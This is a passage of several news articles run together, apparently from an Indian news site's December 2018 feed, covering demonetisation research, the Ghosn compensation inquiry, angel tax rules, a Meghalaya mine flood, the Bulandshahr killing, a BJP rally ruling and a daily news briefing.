said. This showed a contraction in economic activities in the post noteban period. Based on their research, the authors concluded that while the cashless limit may appropriately describe economies with well developed financial markets, in modern India cash continues to serve an essential role in facilitating economic activity. Modi announced his decision to invalidate Rs 500 and Rs 1,000 notes on 8 November, 2016 in search of black money, fake currency and as a shock treatment to cash-based corruption. This exercise, which was executed keeping the countrys central bank on the sidelines, instantly sucked out 86 percent of the currency in circulation from Indias cash-intensive economy. The move hit the informal economy particularly hard since cash played a dominant role in making the daily transactions seamless. Supply chains were broken and small shops were shut. The impact on unemployment and rural economy became more visible in the period that followed. The speculated gains of the note ban - widening taxpayer base and push for digitalisation - are much less compared to the pain the exercise inflicted upon the economy. The government deployed its top ministers and bureaucrats (including current RBI governor, Shaktikanta Das, to defend the scheme and counter the critics. The NBER paper throws more interesting details on demoentisation. It says while households were forced to deposit cash into banks, they could freely access these funds in the form of cheques, debit cards or credit cards. "The Indian demonetisation episode speaks directly to the importance of cash," the report said. The paper then gives illustrations on why cash remained king in the Indian economy citing the way households handled their income and expenditure. Overall, it finds that demonetisation reduced real economic activity. The research found that bank deposits increased and credit contracted in areas experiencing more severe demonetisation. The effect on deposits appears short-lived while the effect on credit may be more persistent. Because banks have access to internal credit markets and banks in more-demonetized districts experienced faster deposit growth, we can interpret the contraction in lending in those districts as due to lower borrower demand for credit, the paper said. The paper, however, ends with a disclaimer that the emphasis was to focus on the near-term impact of demonetisation. "There may be longer term advantages from demonetisation that arise from improvements in tax collections and in a shift to savings in financial instruments and non-cash payment mechanisms. Evaluating these long-term consequences requires waiting for more data and an empirical strategy suited to the study of longer term effects, it said. TOKYO (Reuters) - Nissan Motor Co on Thursday said CEO Hiroto Saikawa had held a one-on-one meeting with the acting boss of its automaking partner Renault SA during talks between the alliance in Amsterdam this week. Nissan said in a statement that Saikawa characterised the talks with Renault Deputy CEO Thierry Bollore as 'positive' and 'productive'. TOKYO (Reuters) - Nissan Motor Co <7201.T> on Thursday said CEO Hiroto Saikawa had held a one-on-one meeting with the acting boss of its automaking partner Renault SA during talks between the alliance in Amsterdam this week. Nissan said in a statement that Saikawa characterised the talks with Renault Deputy CEO Thierry Bollore as "positive" and "productive". The Japanese automaker remained ready to directly share the results of its in-house investigation into alleged financial misconduct by ousted chairman Carlos Ghosn with its French partner, it added. The two bosses met as the automakers grapple over the future of their alliance in the wake of the arrest of Ghosn, the architect of the partnership, in Japan over allegations that he understated his compensation. (Reporting by Naomi Tajitsu; Editing by Stephen Coates) This story has not been edited by Firstpost staff and is generated by auto-feed. At present, the FPIs/FIIs holding in Power Grid is about 24 percent. New Delhi: State-owned power utility Power Grid Corporation Thursday said that it has got shareholders' approval to raise the shareholding limit of Foreign Portfolio Investor (FPI) to 35 percent from 30 percent at present. The special resolution to increase in the shareholding limit of Foreign Portfolio Investors (FPIs), including Foreign Institutional Investors (FIIs), limits in Power Grid to 35 percent is approved with the requisite majority, a BSE filing said. At present, the FPIs/FIIs holding in Power Grid is about 24 percent. Considering past FPI interest in the company stock, investor feedback in various fora and to attract foreign investments and have more headroom available for FPIs to invest in equity share capital of the company, it is proposed to increase the investment limit of FPIs from 30 percent to 35 percent of paid-up equity share capital of the company, the power firm said in the proposal. The company had increased the limit of FPI holding in equity shares of the company from 24 percent to 30 percent in the year 2013 with the approval of shareholders. Shareholders also approved the special resolution to alter the objects clause of its memorandum of association, to invest and/or act as Project Management Consultant in energy projects, to develop smart grid infrastructure and to develop electric vehicle charging infrastructure. As per the proposal approved by the shareholders, considering growth prospects of the company, it had planned to diversify its business into other business fields like Information & Communication Technologies (ICT) infrastructure, Data Centre, Mobile Tower Infrastructure services, etc. The company is already having experience in telecom, railway electrification, Smart Grid and project management consultancy. Carlos Ghosns undisclosed Nissan income is at the centre of allegations by Tokyo prosecutors against the alliance chairman, who has been charged with failing to disclose $43 million in compensation for 2010-2015 that he had arranged to receive later. Paris/Tokyo: Executives from both car makers in the Renault-Nissan alliance looked at least twice at legal ways to pay Chairman Carlos Ghosn undisclosed income through the partners shared finances, documents seen by Reuters show.The two efforts discussed in these documents were ultimately abandoned. However, the documents show for the first time that some discussions about compensating Ghosn out of the public eye were not confined to the Japanese car maker, but also included Renault executives. Ghosns undisclosed Nissan income is at the centre of allegations by Tokyo prosecutors against the alliance chairman, who has been charged with failing to disclose $43 million in compensation for 2010-2015 that he had arranged to receive later. Since 2010, Japanese firms have been required to disclose details of executive remuneration including stock options and bonuses when the total exceeds 100 million yen ($890,000). The plans, which were considered in 2010 and 2017, sought to find legal channels through which Ghosn could receive undisclosed payments. Ghosn and Greg Kelly, a Nissan director, are still in custody and have had little opportunity to defend themselves in public. Ghosn, who remains Renaults chairman and chief executive, denies that the alleged pay deals broke any laws, his Japanese lawyer has told other media. Japanese media have also reported that Kelly has denied the allegations. US representatives for Ghosn and Kelly declined to comment. Reuters reviewed internal emails and invoices related to the projects and spoke to people with direct knowledge of them. Executives, including Renaults general secretary Mouna Sepehri, worked on a proposed 2010 plan to create an additional source of compensation for Ghosn through the alliances Renault-Nissan BV Dutch holding, according to an internal email seen by Reuters. In the 22 April 2010, email to Sepehri and one other recipient identified only as Scott, Kelly wrote: I greatly appreciate the work you have done to analyse whether part of the CEOs compensation can be paid by RNBV without disclosing it publicly. I have reviewed all of the information you have provided me with the CEO and have explained to him that there are good legal grounds for RNBV being able to pay ... part of his compensation without having to publicly disclose the amount, Kelly wrote. In a statement to Reuters late on Tuesday, Renault said it had ultimately responded that any such pay would have to be made public in France. It added: To the best of Renaults knowledge, this project was never implemented. Kellys email was unearthed by the Nissan investigation of Ghosn. Kelly had consulted several people at Renault and Nissan to establish whether it was legally possible that part of the CEOs compensation be paid by RNBV to reflect the time he spent working on alliance synergies, the company said. Renault owns 43.4 percent of Nissan, whose 15 percent stake in its French parent carries no voting rights. Nissan, in turn, controls Mitsubishi Motors Corp via a 34 percent holding. Their combined 10.6 million vehicle sales rival Volkswagen and Toyota. Nissan now wants to examine the finances of jointly owned RNBV and other alliance entities. Renault, whose biggest shareholder is the French state, has so far ignored its request for an independent investigation. Second attempt In 2017, as deferred Nissan income owed to Ghosn continued to mount, alliance executives tried another approach. Renault-Nissan bankers developed plans to pay millions of euros in undisclosed bonuses to Ghosn and other alliance managers via a Dutch service company. On 13 June 2017, Reuters reported details of the plan contained in an eight-page document. Two days later at Renaults shareholder meeting, Ghosn denied that such a plan existed. There is no truth in any of this, Ghosn told shareholders at the meeting, as Renault deputy CEO Thierry Bollore and Sepehri looked on. I can tell you that every week we get proposals from consultants and banks at my level. The plan was scrapped soon after that, invoices and emails show. According to documents reviewed by Reuters, Bollore and Sepehri were among a small group of executives included in emails and meetings about the bonus plan, along with Hiroto Saikawa, now Nissans CEO. Reuters could not establish what roles the executives played in the planning process. Both car makers declined to make the three executives available for comment. On 25 July 2017, financial adviser Ardea Partners, which had worked on the plan, billed Renault-Nissan $1.5 million, plus $49,219.57 in expenses, for services rendered. That was half the $3 million fee that had been agreed in a May 13 contract seen by Reuters, drawn up as the project moved towards implementation, and payable on completion. Ardea Managing Director Robert Falzon declined to comment. It feels like we are truly in the final inning, Ardeas Chris Cole had written in a 26-27 May email chain to a project group he addressed as Team Cavalry. Renault said on Tuesday that Ardea had worked as financial advisors on many corporate subjects for RNBV, in response to Reuters questions on the bonus plan. Renault told Reuters its executives had not led the project. On certain subjects there were exchanges with some Renault and Nissan executives, including Saikawa, Bollore and Sepehri, it said. Nissan, which is pressing Renault for a joint investigation of alliance finances, also wants to re-examine a recent decision to create a new alliance foundation in Switzerland. In a 26 September resolution seen by Reuters, the Renault-Nissan board signed off on a 30 million-euro ($34 million) transfer to the organisation, documents show. The transfer was approved by 10 alliance executives including Ghosn, Bollore, Sepehri and Saikawa. But it was cancelled after Ghosns 19 November arrest in Japan, before the cash was moved, two sources said. It is again not only the angel investors who are exempt from tax if the startup makes the grade but also the startup itself Angel tax which is being demonised today by many as though it is a NDA baby, in fact and significantly is a UPA 2 brainchild with its origins in the Finance Act, 2012 piloted by the then Finance Minister Pranab Mukherjee. It is admittedly rooted in sound logic---no crook should be allowed to launder his black money by bringing in capital at exaggerated valuations. Section 56 (2) (viib) which treats the difference over the actual capital received by a closely-held company from a resident Angel investor and its fair market value as its taxable income is an attempt at reining in money laundering. In other words such a privately-held company that acts as the handmaiden of the crooked promoter will have to pay a 30 percent plus tax on the exaggerated credit as income from other sources. Of late, tax demands have gone out to start-ups asking for as much as 50 percent tax plus penalty. Critics are dubbing the tax administrations act as tax tyranny that also runs counter to the governments avowed objective of giving a leg-up to startups through Start Up India and Make in India initiatives. But then if a good scheme is abused, the law should come down on the misuse like a tonne of bricks. Shouldnt it? The critics aver that there is no abuse but such exaggerated valuations are inherent in the very nature of start-ups---they are all about innovative ideas or cutting edge technology which always carries substantial premium. This argument doesnt wash as it is an inversion of what happens in the venture capital investment---a venture capitalist takes the risk of investing in an unknown quantity with the expectation of exiting at a substantial premium when the investments start bearing fruits with the new and untested product or technology finding acceptance in the market. What applies to a venture capitalist equally applies to an Angel investor. A premium is collected from the latecomers who step into the scene after risk-taking is over. Incidentally, the above scheme of taxation enshrined in section 56 (2) (viib) is not applicable to venture capital-financed companies. This is the crux of the issue. Money laundering was suspected only in Angel investments. In 2016, the Central Board of Direct Taxes (CBDT) did exempt startups conforming to the definition and certification of Department of Industrial Policies and Promotion (DIPP) from Angel tax. But that precisely became the sour point with the start-up industry---DIPP conditions were difficult to adhere to. To be recognized as startup, as per DIPP, it must not be older than seven years and must have an annual turnover that does not exceed Rs 25 crore. In 2018 vide DIPP notification G.S.R.364 (E) dated 11 April, 2018 the air was further cleared through an elaborate regime for making the grade for tax exemptions which reads as follows: An entity shall be considered as a Startup: i. if it is incorporated as a: a) Private limited company (as defined under Companies Act, 2013); b) Registered as a partnership firm (registered under section 59 of the Partnership Act, 1932); c) Incorporated as Limited Liability Partnership (under the Limited Liability Partnership Act, 2008); ii. Seven years has not elapsed since the date of its incorporation or registration (in case of biotechnology sector, the period shall be up to 10 years from the date of incorporation/ registration); iii. Turnover of the entity for any financial year since incorporation/ registration has not exceeded INR 25 crores; iv. Entity is working towards innovation, development or improvement of products or processes or services, or if it is a scalable business model with a high potential of employment generation or wealth creation. Provided that an entity formed by splitting up or reconstruction of an existing business shall not be considered a Startup. It is not enough for the start-up to meet the DIPP norms. In addition, the Angel investor must also be the one with a minimum net worth of Rs 2 crore, or an average returned income of over Rs 25 lakh in the preceding three financial years. This is a sound move to stop new moneybags in their tracks, preventing them from pretending as good souls while their sole objective is money laundering. It is again not only the Angel investors who are exempt from tax if the start-up makes the grade but also the start-up itself. A Private Limited Company or Limited Liability Partnership incorporated on or after 1 April 2016 but before 1 April 2021 can apply to the Board in FORM 1 to avail certificate for claiming 100 percent tax exemption under Section 80- IAC of the Act on profits for any three consecutive years out of the initial 7 years of the start-up. A certificate from inter-ministerial board (IMB) has become a prerequisite for claiming the twin exemptions. The further hardening of stance by the Narendra Modi government is understandable. Exemptions invite charlatans in droves. The truth is share capital is not sacrosanct and hence impervious to manipulation. Companies capital is often used as a laundering machine. More than two decades ago, the Delhi High Court was shocked to find the promoter of Sophia Investments Ltd indulging in money laundering by getting made some 35,000 demand drafts as application money for allotment in the IPO made by the company. Congress President Rahul Gandhis beef against Rafael deal has also got something to do with alleged capital manipulation. He says Anil Ambanis company was chosen as one of the offset partners and received Rs 30,000 crore as bribe for Prime Minister Modi disguised as capital from Dassaultthe French fighter plane manufacturer, though admittedly he has so far not produced any evidence. Net-net, the regime for start-ups is still not a nightmare except for few wolves in sheeps clothing. (The author is a senior columnist and tweets @smurlidharan) French IT firm Capgemini has raised fresher salary by 20 percent at around Rs 3,80,000 IT firm Wipro has launched an online assessment test called the Elite National Level Talent Hunt (NLTH) for fresher hires in order to reach out to a larger number of graduates across the country, a media report said. According to The Times of India, the 140-minute test checks the candidate's aptitude, written communication skills and online programming capabilities. "While we continue to visit a good number of campuses, we also wanted to take a wider look at the talent pool available across. To be able to address and attract those people, we chose this national-wide test as an alternative hiring channel. The idea is to increase our whole catchment area and also build a digital skills repository," Wipro president & chief operating officer Bhanumurthy BM was quoted as saying by the newspaper. Meanwhile, French IT firm Capgemini has raised fresher salary by 20 percent at around Rs 3,80,000, according to Business Standard. The company is also planning to hire around 25,000 more people to its India team "on a gross basis, including freshers as well as lateral hires." In June, Capgemini, which employs half of its global workforce in the country, said they had hit a peak in terms of transferring jobs from the developed markets to India, which might cap local hiring at last years pace. With some of its over 1 lakh employees being unhappy on wage hikes, the company had said, the base salaries have grown 6 percent this year and it would prefer to give higher wages to those with the skills for the future rather than have a uniform approach. With 1,00,000 people, we have the kind of stature we need in India. We are not looking for more stature here in India, Capgemini chairman and group chief executive Paul Hermelin had said. We have progressively replaced a lot of French, Dutch and Americans with Indians. Even if we are not growing that much, in India we are growing at 20 percent (in headcount). Today, weve reached the level of Indian sourcing that we need, Hermelin added. --With inputs from PTI Over a dozen miners were reportedly trapped on 13 December after water from nearby Lytein river gushed into the illegal coal pit in Meghalaya. All efforts made by the district authorities to trace them have turned futile over the past seven days Shillong: Mining engineer Jaswant Singh Gill, who had once rescued 64 people from a flooded quarry in West Bengal, will be shortly arriving to Meghalaya's East Jaintia Hills district to aid the search operation for labourers trapped in a rat-hole coal pit, a top official said. Over a dozen miners were reportedly trapped on 13 December after water from nearby Lytein river gushed into the illegal coal pit. All efforts made by the district authorities to trace them have turned futile over the past seven days. "We were informed by the state government that Gill will be arriving today. He is an expert in mine mishaps and was specially being flown in for the task," the district official said. Gill was contacted at the behest of Chief Minister Conrad K Sangma, who also took up the matter with the Ministry of Home Affairs earlier this week, he said. A resident of Amritsar, Gill had received several awards for his act of bravery in 1989. He had volunteered and saved lives of 64 miners from a flooded mine in Raniganj area of West Bengal. Meanwhile, S K Singh, a member of National Disaster Response Force, on Thursday expressed disappointment over the fact that the water level in the mine had risen considerable following Tuesday's incessant rain. Over 100 personnel from the NDRF, the Meghalaya Disaster Response Force and the state police are currently camping at the site, waiting for its water level to recede to begin their operation. "Despite putting into service two 25 Hp pumps, the water level in the mine has not subsided," Singh said. One person, identified as Krip Chullet, has been arrested so far pertaining to the mine disaster. Chullet was allegedly involved in hiring labourers, overseeing the work and sending them down the shaft. Disaster Management Minister Kyrmen Shylla said there were little chances for the miners to be rescued alive. Admitting that rat-hole mines in Meghalaya are nothing less than "death traps", Shylla said a similar incident in 2012 had claimed lives of 14 miners in South Garo Hills. "It has been a week since the miners were trapped in the pit. Only a miracle can save them," he added. Shrey Singh, the son of SHO Subodh Kumar Singh, who died at the hands of cow vigilantes in Bulandshahr, listed out a number of aspects which aroused suspicion. On 17 December, 21-year-old Shrey Singh, the son of SHO Subodh Kumar Singh, who died at the hands of cow vigilantes, went back to Bulandshahr to collect his father's belongings. He went there along with Atul Kumar Singh, his tauji ( fathers elder brother), a retired subedar of the Indian army. While in Bulandshahr, he got a chance to interact with senior police officers, including SP (City) Atul Srivastava and several other police constables, some of whom were witness to events on the day that violence had broken out. Singh said, "The 400-strong mob that had gathered near the chowky was armed with axes, knives and stones. My father sustained 25 wounds from stone-pelting. He had a sharp knife wound on his back and an axe wound on his right hand. His right thumb had been cut off, which made him incapable of using his revolver in self-defence." He further remarked, "The first question that came to my mind was among the police personnel at the station, how did only my father suffer injuries in the mob violence? I asked this question to the police officials and constables whom I met, but received no clear reply. I believe that those who planned this dastardly act have systematically destroyed evidence. My fathers killing was not a case of robbery. He was wearing a gold ring in one finger, which was not removed. However, his mobile phones and a .32 bore pistol were taken from him. The police were not able to preserve the crime scene, though it was located so close to the Chingrawathi chowki. In fact, according to the driver of my fathers police vehicle, the mob gathered around the vehicle and attacked my father. The driver ran for his life. The cops came back later, and retrieved my fathers body. Later, the police vehicle was found to have been burnt." Singh added, "When the police could retrieve my fathers body, why did they not drive the vehicle away as well? Why was it abandoned? This question has troubled me a great deal. It was obviously a deep-rooted conspiracy. When we met the Uttar Pradesh chief minister Yogi Adityanath, we said this to him. In a press interaction on Wednesday, he also has moved away from his earlier stand, when he had claimed it was an accident." Police sources told Singh that people who were part of the mob took 200 videos of the incident. These videos are in the custody of the SIT probing the SHOs death. Singh believes these videos can go a long way in identifying who fired the shot that killed the police officer. Singh said, "The police have formed three SITs. One SIT is investigating my fathers killing, the second SIT is investigating the death of Sumit, while the third one is looking into the entire cow slaughter incident. Some of the videos that have been released by the local press in Uttar Pradesh show Sumit throwing stones at the police vehicle." He also learnt that army sepoy Jeetu Malik, who is presently in custody, erased all his phone records prior to his arrest. This, Singh believes, was an extremely suspicious act. Singh said, "So far, the police have made 18 arrests. However, not many details are available about them. The two main accused are Yogesh Raj and Shekhar Aggarwal. I asked police officials how the accused have been putting out videos. The officials said that the police have issued summons, and if the accused fail to surrender, they will be put in the most wanted criminals' list with rewards on their heads." He recalled, "The Chingrawathi police station was not under my father's charge. He had been deputed to look after Bulandshahr city. At 5 a.m, he went to the city thana, checked everything and returned to his residence one hour later. At 9.30 a.m, my mother Rajini Singh, spoke to him. A little later, there was news that a cow had been killed near the Chingrawathi chowky. Within an hour, the police had succeeded in calming down matters. A friend of my father spoke to him on the phone a little after 10.30 a.m. My father made little mention of all these developments." He further said, "At 11.30 a.m, the cow vigilantes had picked up the cow carcass and brought it to the main road. They then parked a trolley in the middle of the road and started cutting trees in order to block the traffic. Soon, the crowd of 40 had turned into an armed mob of 400. They started pelting stones and attempted to burn the check post. My father tried to calm them down. The other police officials sought shelter in a nearby government school. After entering the main gate, they locked it from inside and escaped from the back gate. Recalling the bullet wound his father suffered, he said, "When a bullet of a .32 bore pistol pierces a body, it bursts into many smaller parts. This is what happened when my father sustained a bullet injury." He also said, "Earlier, my father had told the small contingent that was escorting him to carry out a lathi charge. But before they could take such a step, he was felled and the cops present chose to run for their lives. They were all armed. But they neither fired shots in the air, nor fired at the mob. The people living around the site of this murder have all run away. They could have helped to provide more information on what had happened. We are now awaiting the result of the SIT. After that, we will decide our next course of action." In a major setback to the West Bengal government, the Calcutta High Court approved the petition moved by the Bharatiya Janata Party (BJP), which challenged the state governments denial of permission to hold rath yatra rallies in the state. Shortly after the Calcutta High Court on Thursday approved the petition moved by the Bharatiya Janata Party (BJP) that challenged the West Bengal government's denial of permission to hold rath yatra rallies in the state, reports said that the state will now move a court division bench on 21 December against the verdict. The court granted the BJP permission for three yatras and directed that the administration should ensure that there is no breach of law and order. The rath yatras will be a part of the BJP's "Save Democracy Rally". The court's decision comes a day after West Bengal government told the Calcutta High Court that intelligence reports expressing apprehensions of breach of communal harmony were the reason for denial of permission to BJP's rallies in the state. Countering the state government's stand, BJP counsel SK Kapoor had alleged that the denial of permission was pre-determined and without any basis, adding that "in the worst days of the British period Mahatma Gandhi held the Dandi March and nobody stopped him" but "now the government here says it won't allow a political procession". Kapoor told the court that the state government has not put forward any objective data to bolster its claim and was trying to forcibly stop a political party from holding processions, which is a Constitution-guaranteed right. Advocate General Kishore Dutta submitted a sealed report to the court, and said that the stated issues in BJP's brochure publicising the yatra are communally sensitive in nature. He submitted that the court has a limited scope of judicial review in an administrative decision to not allow the yatra on the basis of intelligence inputs and apprehensions of communal tension. Appearing for the state police, counsel Anand Grover submitted that the BJP has stated that the programme was of huge proportion with three rath yatras beginning from three different parts of the state and covering all districts spanning 34 days, when a total 154 public meetings would be held. This would require deploying security personnel in large numbers. He added that if the BJP wishes to hold meetings in a few districts, it can be allowed, but rallies of such a huge proportion cannot be given approval owing to logistical reasons and apprehensions, that these rallies may turn into communal propaganda, as expressed in the intelligence reports. Kapoor said his party wants to hold the rallies to generate public opinion that may go against the ruling party in the state, and it is the duty of the police to control and maintain law and order. Alleging that the denial of permission was pre-determined and without any basis, Kapoor claimed that this was a return to the police state. BJP protests across West Bengal The BJP's West Bengal unit Wednesday organised 'law violation programme' in various parts of the state to protest the Trinamool Congress (TMC) government's refusal to allow the proposed Rath Yatra programme in the state. BJP activists clashed with the police in Howrah, South Dinajpur and Hooghly district after the party was denied permission for a protest meeting. "We are forced to hold law violation programmes because the police and the administration is behaving like cadres of the TMC. We were denied permission to hold our Save Democracy rally. Now when we want to organise protest meeting, that too has been denied," state BJP president Dilip Ghosh said while addressing the law violation programme in Howrah. "We are a political party which is running the government at the Centre. The state government is behaving in such a way as if we are a party of extremists. We are a party of nationalist forces," he said. It is only in West Bengal that Opposition parties are not allowed to hold rallies, Ghosh added. TMC denied BJP permission to hold yatra twice Previously, on 6 December a single-judge bench of the HC denied permission to BJP president Amit Shah's proposed rath yatra from Cooch Behar, on grounds that it might cause communal tension. Following this, the party had approached the division bench. The division bench on 7 December asked the West Bengal chief secretary, the home secretary and the director-general of police to hold a meeting with three representatives of the BJP and take a decision on the yatra by 14 December. The state government had also refused permission for the rath yatra on 15 December on the same grounds as on 6 December. With inputs from PTI After repeated questioning by enforcement agencies for four years, the CBI on Thursday arrested Suman Chattopadhyay, editor of of a leading Bengali daily, in connection with West Bengal's ICore chit fund scam, officials said in New Delhi. New Delhi: After repeated questioning by enforcement agencies for four years, the CBI on Thursday arrested Suman Chattopadhyay, editor of of a leading Bengali daily, in connection with West Bengal's ICore chit fund scam, officials said in New Delhi. Chattopadhyay, editor of Ei Samay, was summoned to the CBI office in Kolkata after several rounds of questioning and was placed under arrest by officials, they said. The scribe, who is also a director in Disha Productions and Media Private Limited (DPMPL), was questioned in an on-going investigation of a case registered against the ICore Group, a ponzi scheme company. Investigation has revealed that funds collected illegally by the ICore Group were allegedly diverted in the accounts of DPMPL as well as the personal account of Chattopadhyay. The arrested scribe will be produced on Friday before the Court of Special CJM in Bhubaneswar. It is alleged that he had allegedly taken "unsecured loans" from three "chit fund companies", including Saradha Group, and laundered it through two of his publishing companies, a Bengali daily and a Bengali magazine. After the arrest of Rose Valley chairman Gautam Kundu in 2015, the West Bengal Police had arrested managing director of ICore group Anukul Maiti for allegedly running Ponzi schemes. The journalist has been earlier grilled by the CBI as well as the Enforcement Directorate along with his wife Kasturi in connection with the Saradha financial scam. The allegation against him was that after taking a loan of Rs 5 crore from Saradha Group of companies, he borrowed money from two other chit fund groups to return the money. He has been booked for alleged money laundering and round tripping of funds which entails creating bogus companies and routing illegal money using multiple transactions across Indian shores. The agency has alleged that ICore group which had allegedly raised over Rs 3,000 crore from people offering high returns on investments had diverted a portion of these funds through the company of Chattopadhyay who is a senior journalist in West Bengal, they said. The agency has taken over probe in the matter ICore group in 2014 registering an FIR under IPC sections related to criminal conspiracy and cheating. The case was registered on the basis of a Supreme Court order in 2014 directing the agency to take over all the cases related to chit fund companies probed by the state police. Its directors Anukul Maity and his wife Kanika were arrested by the agency last year. A cellphone-manufacturing company on Wednesday approached the Bombay High Court, challenging the validity of the 'Leave India' notices issued to 59 Chinese experts who were scheduled to visit its plants in Daman and Silvassa. A cellphone-manufacturing company on Wednesday approached the Bombay High Court, challenging the validity of the "Leave India" notices issued to 59 Chinese experts who were scheduled to visit its plants in Daman and Silvassa. The Times of India reported that the Foreigners Regional Registration Office (FRRO) had issued the notices to the Chinese nationals on 15 December for alleged violations of their business visa conditions after inspecting a plant of Pacific Cyber Technology Private Limited. In its appeal, the company has called the notices drastic, unjustifiable and arbitrary, adding that they violate the company's rights to equality and trade as such visits by foreign experts for technical guidance have been an "essential industry norm" over the past two years. Pacific Cyber Technology, which designs, develops and assembles mobile phones, also argued that the Chinese nationals share technical know-how and their expertise with local workers, DNA reported. Justices BP Dharmadhikari and Sarang Kotwal of the Bombay High Court will hear the petition on Friday. Advocate Nausher Kohli representing the company had sought an urgent hearing as the Chinese workers had been ordered to leave immediately. He pointed out that at least six of them had already left India even though their visas were still valid, and that nearly all of them had 180-day visas, The Times of India reported. "The notices have been issued to customer representatives, supplier representatives, and representatives of the Hong Kong Entities who were visiting the plants to provide technical guidance to employees," the petition read, according to DNA. "Experts visit the plants to impart training on running highly sophisticated machines effectively and to detect defective machines on the machine line itself," stated the petition, filed by Pacific Cyber Technology. The plea also added that its plants "committed to the Make in India movement" are recipients of the Ministry of Electronics and Information Technology's modified special incentive package scheme, and that the Chinese nationals were "customer representatives, supplier representatives and representatives of the Hong Kong Entities who were visiting the plants to provide technical guidance to employees". Emphasising that its business would be affected and could even come to a standstill if the Chinese experts were sent back, Pacific Cyber Technology sought to have the "Leave India" notices set aside. Pacific Cyber Technology has a registered office in Mumbai and cell phone-manufacturing plants in Daman and Silvassa. Today's top stories: Priyanka Chopra and Nick Jonas host reception in Mumbai; rump declares victory over IS in Syria, orders US troops home; Upendra Kushwaha likely to join Mahagathbandhan today; and more. Upendra Kushwaha likely to join UPA today Rashtriya Lok Samata Party (RLSP) chief Upendra Kushwaha is likely to announce his joining the UPA on Thursday, said sources. The political parties part of the grand alliance are expected to unveil their future plans at a press conference in the National Capital. Kushwaha is said to formally join the grand alliance in the same presser. Rashtriya Janata Dal (RJD) leader Tejashwi Yadav, Hindustani Awam Morcha (Secular) founder Jitan Ram Manjhi and All India Congress Committee (AICC) in-charge for Bihar Shaktisinh Gohil will jointly conduct the press conference. RLSP chief Kushwaha recently severed ties with the NDA on 10 December. Kushwaha in an exclusive conversation with ANI had asserted that the BJP's "arrogance" and Bihar chief minister Nitish Kumar were the reasons behind him quitting the NDA. Trump declares victory over IS in Syria, orders US troops home The Islamic State has been "beaten" in Syria, US president Donald Trump declared on Wednesday, as he confirmed his stunning order to pull American ground forces from the war-ravaged nation. The momentous decision to withdraw, which runs counter to long-established US policy for Syria and the region, blindsided lawmakers, the Pentagon and international allies alike. "We've won against ISIS," Trump said in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." The withdrawal of troops could have extraordinary geopolitical ramifications and plunges the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, in uncertainty. Thousands of these fighters are thought to remain in Syria. Priyanka Chopra and Nick Jonas host reception in Mumbai Newlywed couple Priyanka Chopra and Nick Jonas hosted their wedding reception for family and friends in Mumbai. Celebrations have not ended for the couple even 19 days after their grand wedding, as a reception in the city was held for family, friends and the media at a suburban hotel in Juhu on Wednesday evening. Another reception is scheduled for Thursday evening for Bollywood celebrities at a five-star hotel in suburban Bandra. The venue was decorated with white lilies, orchids and candles, featuring an entwined N and P in the backdrop. After posing for photos, Priyanka thanked everyone for coming. "I am going to take your attention for two seconds... It means so much to us that all of you came tonight. This has been an extremely special chapter in my life and I wanted my husband to meet all the special people who have contributed to it." Air Chief Marshal hails SC Rafale order, says IAF needs jets Air Chief Marshal BS Dhanoa welcomed the Supreme Court verdict on Rafale jet deal and said the Indian Air Force needs the fighter aircraft badly. Addressing the media during his visit to Air Force Station at Jodhpur, he said, "The Supreme Court has given a very fine judgement and I am not going to comment on it. It has also said that this plane is badly needed. Rafale is always a need for the air force. It (fighter jets) took a long time to come. Others have upgraded their squadron. Also, very fine comments are given by the Finance Minister (Arun Jaitley) and our Defence Minister (Nirmala Sitharaman)." Sharing his views on the launch of satellite GSLV-7A, the air chief said the launch of the satellite would boost the networking and communication capabilities of the air force. "We will get many benefits due to this launch. We have several platforms (aircraft) which have capabilities of communication through satellite. The communication to the platform (aircraft) through the satellite will be made possible with this launch," he told the media. On Wednesday, the Indian Space Research Organisation (ISRO) launched GSLV-7A from Sriharikota in Andhra Pradesh. Finance ministry likely to seek more funds for PSBs today The finance ministry is likely to seek approval from Parliament for additional funding for state-run banks today, according to Subhash Chandra Garg, economic affairs secretary. The proposal will be part of the overall supplementary demand for grants to be laid before parliament. The government will also seek an interim dividend from the central bank. US sanctions Russians for meddling in polls, nerve agent use The US Treasury Department imposed new sanctions against 15 Russians over hacking, interference in US elections and a nerve agent attack in England. In a separate action, the agency also announced plans to lift sanctions on the aluminium manufacturing giant Rusal. It comes after the department approved a plan that severed Russian oligarch Oleg Deripaska's control of the company. The sanctions imposed on Wednesday include actions against nine Russian intelligence officers who were indicted over the summer and are accused of hacking into Hillary Clinton's presidential campaign and the Democratic Party and releasing tens of thousands of private communications. The case against them was brought by special counsel Robert Mueller, whose office is investigating Russian interference in the 2016 election. The Treasury Department said Russia's "continued disregard for international norms" necessitated the sanctions. Bendgate 2.0? Apple has acknowledged that the chassis of its brand new iPad Pro devices is getting ever so slightly bent during the manufacturing process. Apple claims that it's not a flaw and that its a side effect of the manufacturing process that shouldnt worsen over time. However, users on various forums have started reporting that their iPad Pro units are already beginning to bend with everyday use. If things get worse, we could very well be looking at a repeat of the 2014 bendgate fiasco where the iPhone 6 Plus chassis would warp with disconcerting ease. Rima Das' Bulbul Can Sing to have European premiere at Berlinale 2019 Filmmaker Rima Das' Assamese feature Bulbul Can Sing is set to have its European premiere at the 69th Berlin International Film Festival next year. The development comes a day after Das' award-winning Village Rockstars ended its dream run at the Oscars 2019 as India's official entry in the Best Foreign Language Film category. Bulbul Can Sing is a coming-of-age drama about a teenage girl, Bulbul, living in a village in Assam, fighting her way through love and loss as she figures out who she really is. Berlinale on Wednesday announced the film as part of its first 16 programme picks for the festival, to be held from 7-17 February next year. The Sikh Coalition asked Amazon that the objectionable items with images of the Golden Temple be permanently prohibited from sale and hoped that Amazon will do more to ensure similar products do not appear on its platform. Doormats and rugs with the image of the Golden Temple were reportedly sold on Amazon, which has a strong reaction from a prominent Sikh body. The organisation asked the online retail giant to prohibit the sale of culturally inappropriate and offensive merchandise. The Sikh Coalition said in a statement on Tuesday that it was alerted to products such as doormats, rugs and toilet seat covers with the image of one the most historically significant Sikh sites, the Golden Temple, were being sold by some sellers on Amazon. "It has come to our attention that several sellers are posting products onto your platform that culturally appropriates the imagery of the Golden Temple and spiritual imagery of other eastern cultures," The Sikh Coalition's Senior Manager of Advocacy and Policy, Sim Singh,said in a letter to Amazon CEO Jeff Bezos and Senior Vice President and General Counsel David Zapolsky. The civil and legal rights organisation said that in the hours since, through community outreach, several pages have been removed from the website. The products seem to have been removed from 